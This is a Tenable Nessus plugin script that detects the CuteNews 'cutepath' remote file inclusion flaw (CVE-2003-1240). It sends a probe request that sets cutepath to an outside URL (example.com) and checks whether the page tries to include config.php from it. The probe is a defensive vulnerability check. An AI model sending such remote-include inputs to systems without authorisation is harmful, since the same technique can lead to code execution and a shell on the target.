CuteNews Multiple Script cutepath Parameter Arbitrary Command Execution

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

# Ref:
# From: "Over_G" <[email protected]>
# To: [email protected], [email protected],
#        [email protected]
# Subject: PHP code injection in CuteNews
# Message-Id: <[email protected]>


include('deprecated_nasl_level.inc');
include('compat.inc');

if(description)
{
  script_id(11276);
  script_cve_id("CVE-2003-1240");
  script_bugtraq_id(6935);

  script_version("1.27");

  script_name(english:"CuteNews Multiple Script cutepath Parameter Arbitrary Command Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is subject to
multiple remote file include attacks." );
  script_summary(english:"Checks for the presence of search.php");
  script_set_attribute(attribute:"description", value:
"The version of CuteNews installed on the remote host fails to sanitize
input to the 'cutepath' parameter before using it in various scripts
to include PHP code.  An attacker may use this flaw to inject
arbitrary code in the remote host and gain a shell with the privileges
of the web server." );
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2003/Feb/322" );
  script_set_attribute(attribute:"solution", value:
"Upgrade to CuteNews 0.89 or newer." );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:W/RC:ND");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:H/RL:W/RC:X");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2003-1240");
  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_cwe_id(94);
  script_set_attribute(attribute:"plugin_publication_date", value: "2003/02/28");
  script_set_attribute(attribute:"vuln_publication_date", value: "2003/02/25");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_end_attributes();
 
  script_category(ACT_ATTACK);
  script_copyright(english:"This script is Copyright (C) 2003-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");
  script_family(english:"CGI abuses");
  
  script_dependencies("cutenews_detect.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/PHP");
  exit(0);
}

#
# The script code starts here
#

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = get_http_port(default:80);
if(!can_host_php(port:port)) exit(0);



# Test an install.
install = get_kb_item(string("www/", port, "/cutenews"));
if (isnull(install)) exit(0);
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches)) {
 loc = matches[2];

 w = http_send_recv3(method: "GET", item:string(loc, "/search.php?cutepath=http://example.com"), port:port);			
 if (isnull(w))exit(0);
 r = w[2];
 if(egrep(pattern:".*http://example.com/config\.php", string:r))
 {
 	security_hole(port);
	exit(0);
 }
}